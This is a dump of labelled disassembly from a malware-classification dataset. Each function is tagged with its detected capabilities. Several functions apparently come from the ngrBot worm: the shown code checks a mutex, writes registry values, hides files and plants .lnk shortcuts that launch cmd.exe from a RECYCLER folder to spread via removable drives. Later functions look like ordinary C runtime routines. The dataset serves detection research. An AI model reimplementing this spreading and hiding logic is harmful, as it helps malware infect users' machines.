joyce8/EMBER2024-capa huggingface dataset:
Function at 0xbab300
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push esi
push edi
push 0x208
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x206
xor esi, esi
mov edi, eax
lea ecx, [ebp - 0x20a]
xor eax, eax
push esi
push ecx
mov word [ebp - 0x20c], ax
call sub.MSVCRT.dll_memset
push 0x206
lea eax, [ebp - 0x412]
xor edx, edx
push esi
push eax
mov word [ebp - 0x414], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp edi, esi
jne 0xbab37b
cmp dword [ebp + 8], esi
je 0xbab370
pop edi
mov eax, str.lol.exe
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 0xbb2bac
pop esi
mov esp, ebp
pop ebp
ret
push 0x208
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0xbab365
push 4
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push esi
push esi
push esi
push esi
lea ecx, [ebp - 4]
push ecx
push esi
push esi
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0xbab3cc
mov dword [ebp - 4], 0x1337b00b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.30e42qa1
call ebx
test eax, eax
jbe 0xbab3f6
mov edi, edi
movsx eax, byte [esi + str.30e42qa1]
add dword [ebp - 4], eax
push str.30e42qa1
inc esi
call ebx
cmp esi, eax
jb 0xbab3e0
movzx eax, byte [ebp - 4]
cdq
mov ecx, 0x1a
idiv ecx
pop ebx
add edx, 0x41
mov word [edi], dx
movzx eax, byte [ebp - 3]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 2], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 4], dx
movzx eax, byte [ebp - 1]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 6], dx
movzx eax, byte [ebp - 2]
cdq
idiv ecx
add edx, 0x61
mov word [edi + 8], dx
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 1]
add eax, edx
cdq
idiv ecx
add edx, 0x61
cmp dword [ebp + 8], 0
mov word [edi + 0xa], dx
je 0xbab467
push str..exe
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xbad6b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0xbea294]
sub esp, 8
test eax, eax
je 0xbad6e0
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp + 8]
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call eax
jmp 0xbad703
mov edx, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0xbad759
mov edx, dword [ebp + 0x14]
mov eax, edx
push esi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0xbad710
sub eax, esi
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [ebp - 4]
push ecx
push edx
mov edx, dword [ebp + 0x10]
push 1
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop esi
test eax, eax
jne 0xbad74f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0xbaee40
Capabilities:
Create shortcut via ishelllink
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x680
lea eax, [ebp - 4]
push eax
push 0xbb3614
push 1
push 0
push 0xbb3634
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0xbaefdb
push ebx
push esi
push edi
push 0x207
lea ecx, [ebp - 0x317]
push 0
push ecx
mov byte [ebp - 0x318], 0
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0xc
push edx
lea eax, [ebp - 0x318]
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0xbb2c78
lea ecx, [ebp - 0x318]
push ecx
call edi
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x318]
push eax
call edi
push 0x15c
lea ecx, [ebp - 0x474]
push 0
push ecx
mov dword [ebp - 0x478], 0
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x14]
add esp, 0xc
push 0x1000
push 0x160
lea edx, [ebp - 0x478]
push edx
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x50]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x318]
push edx
push eax
mov eax, dword [ecx + 0x2c]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
push 4
push str.shell32.dll
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0xbb3624
push eax
mov eax, dword [ecx]
call eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x3c]
push 7
push eax
call edx
mov esi, eax
test esi, esi
jl 0xbaefcb
push 0x107
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 0x14]
add esp, 0xc
push ecx
lea edx, [ebp - 0x110]
push edx
call ebx
push str..lnk
lea eax, [ebp - 0x110]
push eax
call edi
push 0x104
lea ecx, [ebp - 0x680]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x110]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x680]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov esi, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbaefe0
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00bb0f10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x7ff
mov ebx, eax
lea eax, [ebp - 0xfff]
push 0
push eax
mov byte [ebp - 0x1000], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x7ff]
push 0
push ecx
mov byte [ebp - 0x800], 0
call sub.MSVCRT.dll_memset
add esp, 0x18
push str..lnk
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push eax
call edi
test eax, eax
je 0xbaf11b
push 0xbb13d8
push esi
call edi
test eax, eax
je 0xbaf11b
push 0xbb2fcc
push esi
call edi
test eax, eax
je 0xbaf11b
cmp dword [ebp + 0x10], 0
je 0xbaf07f
test bl, 0x10
je 0xbaf11b
cmp dword [ebp + 0x14], 0
je 0xbaf10f
push str.RECYCLER
push esi
call edi
test eax, eax
je 0xbaf11b
push 0x5c
push esi
call sub.MSVCRT.dll_strrchr
mov ebx, dword [ebp + 0xc]
push 0x5c
push ebx
mov edi, eax
call sub.MSVCRT.dll_strrchr
add esp, 0x10
test eax, eax
je 0xbaf11b
test edi, edi
je 0xbaf11b
inc eax
push eax
push str._c__start___cd__RECYCLER_s
lea edx, [ebp - 0x1000]
push 0x7ff
push edx
call sub.MSVCRT.dll__snprintf
inc edi
push edi
push str.__windir__explorer.exe___cd___s
lea eax, [ebp - 0x800]
push 0x7ff
push eax
call sub.MSVCRT.dll__snprintf
push ebx
push esi
lea ecx, [ebp - 0x800]
push ecx
lea edx, [ebp - 0x1000]
push edx
push str._windir__system32cmd.exe
call fcn.00baee40
add esp, 0x34
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbaf130
Capabilities:
Enumerate files on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
xor ebx, ebx
push 0x105
lea eax, [ebp - 0x34f]
push ebx
push eax
mov byte [ebp - 0x350], bl
call sub.MSVCRT.dll_memset
push 0x103
lea ecx, [ebp - 0x107]
push ebx
push ecx
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0x18
push esi
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x350]
push 0xbb2fe0
push eax
call fcn.00baedf0
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0xbaf1c0
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x21c]
push eax
push esi
push 0xbb2fd8
lea ecx, [ebp - 0x108]
push 0x103
push ecx
call sub.MSVCRT.dll__snprintf
mov edi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push edi
push ebx
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.00baefe0
mov edx, dword [ebp - 4]
add esp, 0x24
lea ecx, [ebp - 0x248]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0xbaf29a
lea ebx, [ebx]
push 8
lea eax, [ebp - 0x21c]
push str.RECYCLER
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0xbaf285
lea ecx, [ebp - 0x21c]
push str..inf
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0xbaf285
lea edx, [ebp - 0x21c]
push edx
push esi
push 0xbb2fd8
lea eax, [ebp - 0x108]
push 0x103
push eax
call sub.MSVCRT.dll__snprintf
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.00baefe0
add esp, 0x24
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x248]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0xbaf220
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbaf2b0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push edi
xor ebx, ebx
push 0x104
mov dword [ebp - 4], ebx
call fcn.00ba3810
mov edi, eax
add esp, 4
cmp edi, ebx
jne 0xbaf2db
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
push esi
push ecx
push str.._c:
push edi
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0xbaf375
push 0x3ff
lea edx, [ebp - 0x413]
push ebx
push edx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x414], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 8]
push eax
push 0x400
lea ecx, [ebp - 0x414]
push ecx
push 0xc
lea edx, [ebp - 0x14]
push edx
push 0x2d1400
push esi
mov dword [ebp - 0x410], 0x400
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0xbaf375
cmp dword [ebp - 0x3f8], 7
jne 0xbaf375
mov dword [ebp - 4], 1
push edi
call fcn.00ba37f0
mov eax, dword [ebp - 4]
add esp, 4
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbaf9e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push 0x1ff
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x204]
xor eax, eax
push ecx
push 0x1ff
mov byte [ebp - 4], 0
mov word [ebp - 3], ax
mov byte [ebp - 1], al
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0xbafa8d
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [ebp - 0x204]
lea ebx, [ebx]
lea edx, [ebp - 4]
push 4
push edx
call fcn.00ba24e0
mov al, byte [esi]
add esp, 8
push 0xbb3040
lea ecx, [ebp - 4]
push ecx
mov byte [ebp - 4], al
call edi
lea edx, [ebp - 4]
push edx
call fcn.00baf2b0
add esp, 4
test eax, eax
je 0xbafa80
lea eax, [ebp - 4]
push eax
call fcn.00baf430
add esp, 4
test eax, eax
je 0xbafa80
inc ebx
nop
mov cl, byte [esi]
inc esi
test cl, cl
jne 0xbafa80
cmp byte [esi], cl
jne 0xbafa40
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xbb0910
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
push 0x103
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00baa5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x103
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [0xbea70c], eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0xbb09cf
push 3
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00ba2440
lea edx, [ebp - 8]
push edx
call fcn.00baf2b0
add esp, 4
test eax, eax
je 0xbb09cf
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
push str.OPEN
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0xbeb500], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call fcn.00ba3870
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call fcn.00ba3870
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.FvLQ49Il
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0xbb0a38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0xbb0a38
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.30e42qa1
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.30e42qa1
call fcn.00ba1e60
push eax
push str._08x
lea edx, [ebp - 0x210]
push 0x103
push edx
call sub.MSVCRT.dll__snprintf
lea eax, [ebp - 0x210]
push eax
call fcn.00ba4d00
add esp, 0x1c
test eax, eax
jne 0xbb0a7f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.ngrBot
call fcn.00ba73e0
add esp, 8
cmp eax, 1
jne 0xbb0a9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.ngrBot
call fcn.00ba7330
push 0
call fcn.00bab300
add esp, 0xc
mov esi, eax
call fcn.00ba6850
push 0x208
push 0xbeafb0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
push str._s_s.scr
push 0xbeada0
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0x104
push 0xbeac50
push 0xffffffffffffffff
push 0xbeada0
push 0
push 0
call edi
push 0x208
push esi
push 0xbeb1b8
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push 0xbeb3e0
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
xor eax, eax
mov ecx, 0x14c
cmp word [0x7ffe002c], cx
setne al
mov dword [0xbeb504], eax
test eax, eax
je 0xbb0b5f
call fcn.00baa990
push 0x9c4
mov dword [0xbeb508], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0xbb6d28
call fcn.00ba5ce0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401dcf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401e0e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401e0e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401e0e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401e0e
cmp dword [ecx + 0x74], 0xe
jbe 0x401e0e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x406978
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411508
push 0x411500
push str.FlsAlloc
push 0x1f
call fcn.00406894
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4069ac
push dword [ebp + 8]
mov ecx, esi
call dword [0x410160]
call esi
jmp 0x4069b2
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4069f6
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411518
push 0x411510
push str.FlsGetValue
push 0x21
call fcn.00406894
mov esi, eax
add esp, 0x10
test esi, esi
je 0x406a2d
push dword [ebp + 8]
mov ecx, esi
call dword [0x410160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x406a35
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411520
push 0x411518
push str.FlsSetValue
push 0x22
call fcn.00406894
mov esi, eax
add esp, 0x10
test esi, esi
je 0x406a6f
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x410160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x408b99
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x408c36
push ebx
push esi
call fcn.00408b62
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00408af6
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x408be3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408c35
push edi
push eax
call fcn.004093df
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x408c03
call fcn.00406741
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408c34
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00408af6
add esp, 0x20
test eax, eax
jne 0x408c22
push edi
call fcn.00406741
jmp 0x408c2a
push ebx
call fcn.00406741
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x40cb98
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x885860]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40cbd8
cmp byte [ebx], 0xa
jne 0x40cbd8
or byte [edi + eax + 0x28], 4
jmp 0x40cbdd
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x40ccdc
mov dl, byte [eax]
cmp dl, 0x1a
je 0x40ccbf
inc eax
cmp dl, 0xd
je 0x40cc09
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x40cc2f
cmp eax, ecx
jae 0x40cc3d
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x40cbf1
jmp 0x40ccdc
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40ccba
cmp dword [ebp - 0x10], 0
je 0x40ccba
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x885860]
test byte [eax + edi + 0x28], 0x48
je 0x40cc94
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x40cc7f
mov byte [esi], dl
jmp 0x40cc90
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x885860]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x40ccdc
cmp byte [ebp - 1], 0xa
jne 0x40cca3
cmp esi, ebx
jne 0x40cca3
mov byte [esi], 0xa
jmp 0x40ccdb
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040cb08
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x40ccdc
mov byte [esi], 0xd
jmp 0x40ccdb
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x885860]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x40ccd9
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x40ccdc
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40cce5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x885860]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40cd2b
cmp word [ebx], dx
jne 0x40cd2b
or byte [eax + edi + 0x28], 4
jmp 0x40cd30
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x40ce93
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x40ce73
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x40cd71
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x40cda7
cmp eax, edx
jae 0x40cdb5
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x40cd4c
jmp 0x40ce93
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40ce6e
cmp dword [ebp - 0x18], 0
je 0x40ce6e
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x885860]
test byte [eax + edi + 0x28], 0x48
je 0x40ce44
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x40ce08
mov word [esi], cx
jmp 0x40ce3f
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x885860]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x885860]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x885860]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x40ce93
pop eax
cmp word [ebp - 4], ax
jne 0x40ce54
cmp esi, ebx
jne 0x40ce54
mov word [esi], ax
jmp 0x40ce90
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0040cb08
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x40ce93
push 0xd
pop eax
jmp 0x40ce4f
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x885860]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x40ce8d
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x40ce93
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret